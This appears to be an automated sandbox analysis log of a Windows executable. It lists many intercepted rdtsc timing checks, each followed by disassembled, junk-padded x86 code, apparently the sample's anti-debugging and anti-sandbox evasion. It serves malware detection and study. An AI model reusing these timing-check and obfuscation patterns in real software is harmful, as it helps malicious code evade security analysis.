Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A4F2 second address: F7A507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F0A0CDE9D16h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jnl 00007F0A0CDE9D16h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C797 second address: F7C807 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 30BA54F4h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push 00000003h 0x00000014 mov esi, dword ptr [ebp+122D3AD1h] 0x0000001a push 00000000h 0x0000001c adc si, 8339h 0x00000021 push 00000003h 0x00000023 push D82A3558h 0x00000028 jns 00007F0A0CDBB9BEh 0x0000002e jg 00007F0A0CDBB9B8h 0x00000034 push eax 0x00000035 pop eax 0x00000036 xor dword ptr [esp], 182A3558h 0x0000003d jmp 00007F0A0CDBB9C0h 0x00000042 lea ebx, dword ptr [ebp+124605D0h] 0x00000048 xor dword ptr [ebp+122D3772h], ebx 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 jnp 00007F0A0CDBB9B8h 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C8DC second address: F7C8E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0A0CDE9D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C8E6 second address: F7C8EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C8EA second address: F7C964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 4EA07667h 0x0000000f sub dword ptr [ebp+122D2E8Dh], ebx 0x00000015 push 00000003h 0x00000017 mov dx, 2242h 0x0000001b push 00000000h 0x0000001d mov edx, dword ptr [ebp+122D3BD9h] 0x00000023 push 00000003h 0x00000025 jmp 00007F0A0CDE9D21h 0x0000002a push 9FE11C7Ah 0x0000002f push ecx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 pop ecx 0x00000037 xor dword ptr [esp], 5FE11C7Ah 0x0000003e jmp 00007F0A0CDE9D20h 0x00000043 lea ebx, dword ptr [ebp+124605D9h] 0x00000049 mov dword ptr [ebp+122D2498h], ecx 0x0000004f xor esi, dword ptr [ebp+122D3B99h] 0x00000055 push eax 0x00000056 pushad 0x00000057 jg 00007F0A0CDE9D18h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C964 second address: F7C968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C968 second address: F7C96C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CAD1 second address: F7CAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A68C second address: F9A699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A86F second address: F9A879 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0A0CDBB9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A879 second address: F9A87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB0F second address: F9AB13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB13 second address: F9AB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0A0CDE9D18h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB23 second address: F9AB28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AC8E second address: F9AC99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F0A0CDE9D16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B10F second address: F9B132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C9h 0x00000007 jg 00007F0A0CDBB9C2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B132 second address: F9B143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0A0CDE9D16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B143 second address: F9B162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F0A0CDBB9BAh 0x0000000b jmp 00007F0A0CDBB9BEh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B162 second address: F9B167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B2D9 second address: F9B31A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0A0CDBB9BAh 0x0000000a pop esi 0x0000000b jns 00007F0A0CDBB9BCh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F0A0CDBB9BEh 0x0000001b jl 00007F0A0CDBB9B6h 0x00000021 push esi 0x00000022 pop esi 0x00000023 push ecx 0x00000024 jmp 00007F0A0CDBB9C1h 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B31A second address: F9B321 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B321 second address: F9B32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B5D0 second address: F9B5E2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B5E2 second address: F9B5FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B793 second address: F9B799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B922 second address: F9B935 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0A0CDBB9BAh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B935 second address: F9B973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F0A0CDE9D18h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F0A0CDE9D22h 0x00000015 jl 00007F0A0CDE9D22h 0x0000001b jnc 00007F0A0CDE9D16h 0x00000021 js 00007F0A0CDE9D16h 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pop edi 0x0000002b jbe 00007F0A0CDE9D16h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92313 second address: F92325 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F0A0CDBB9B8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92325 second address: F92333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDE9D1Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C247 second address: F9C264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0A0CDBB9BEh 0x0000000c push eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C264 second address: F9C268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C39F second address: F9C3C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C7h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F0A0CDBB9B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C79B second address: F9C79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C79F second address: F9C7EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a jno 00007F0A0CDBB9C7h 0x00000010 jng 00007F0A0CDBB9D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74C25 second address: F74C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74C29 second address: F74C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F674B4 second address: F674BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F674BA second address: F674C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F674C0 second address: F674C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F674C6 second address: F674CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F674CB second address: F674D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA82BC second address: FA82C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6B71 second address: FA6B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6B76 second address: FA6B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC069 second address: FAC073 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0A0CDE9D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB44B second address: FAB44F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB44F second address: FAB455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB455 second address: FAB465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB465 second address: FAB48E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0A0CDE9D22h 0x00000010 jmp 00007F0A0CDE9D1Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB48E second address: FAB492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB492 second address: FAB4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F0A0CDE9D23h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB4AB second address: FAB4B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB791 second address: FAB796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB796 second address: FAB7A2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0A0CDBB9BEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABEF7 second address: FABF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F0A0CDE9D16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABF09 second address: FABF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABF0D second address: FABF3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D23h 0x00000007 jmp 00007F0A0CDE9D23h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F0A0CDE9D1Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE91B second address: FAE92C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEA54 second address: FAEA5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEA5A second address: FAEA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEC62 second address: FAEC71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDE9D1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEC71 second address: FAEC75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEEBD second address: FAEEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF23E second address: FAF242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF716 second address: FAF71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF850 second address: FAF856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF9A7 second address: FAF9B1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF9B1 second address: FAF9B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF9B7 second address: FAF9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF9BB second address: FAF9D1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F0A0CDBB9B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF9D1 second address: FAF9DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFC9D second address: FAFCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9C8h 0x00000009 popad 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F0A0CDBB9B8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D3772h], eax 0x0000002c push eax 0x0000002d pushad 0x0000002e jmp 00007F0A0CDBB9C7h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB26B0 second address: FB26F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F0A0CDE9D26h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f pushad 0x00000010 ja 00007F0A0CDE9D1Ch 0x00000016 mov bx, 982Ch 0x0000001a popad 0x0000001b push 00000000h 0x0000001d movsx edi, ax 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB26F0 second address: FB2707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDBB9C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3BF2 second address: FB3C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDE9D22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C08 second address: FB3C30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F0A0CDBB9CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C30 second address: FB3C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C36 second address: FB3C94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 call 00007F0A0CDBB9C6h 0x0000000e pop esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F0A0CDBB9B8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D2A69h], eax 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F0A0CDBB9BCh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C94 second address: FB3C99 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB888B second address: FB888F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69015 second address: F69019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69019 second address: F6901F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6901F second address: F6903A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0A0CDE9D20h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6903A second address: F69044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAD6F second address: FBAD7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDE9D1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAD7E second address: FBAD82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAD82 second address: FBADCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F0A0CDE9D24h 0x00000010 push 00000000h 0x00000012 jmp 00007F0A0CDE9D24h 0x00000017 push 00000000h 0x00000019 add di, 09D6h 0x0000001e jmp 00007F0A0CDE9D1Ah 0x00000023 xchg eax, esi 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBADCE second address: FBADD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBADD2 second address: FBADE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3D4 second address: FBD3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD550 second address: FBD554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
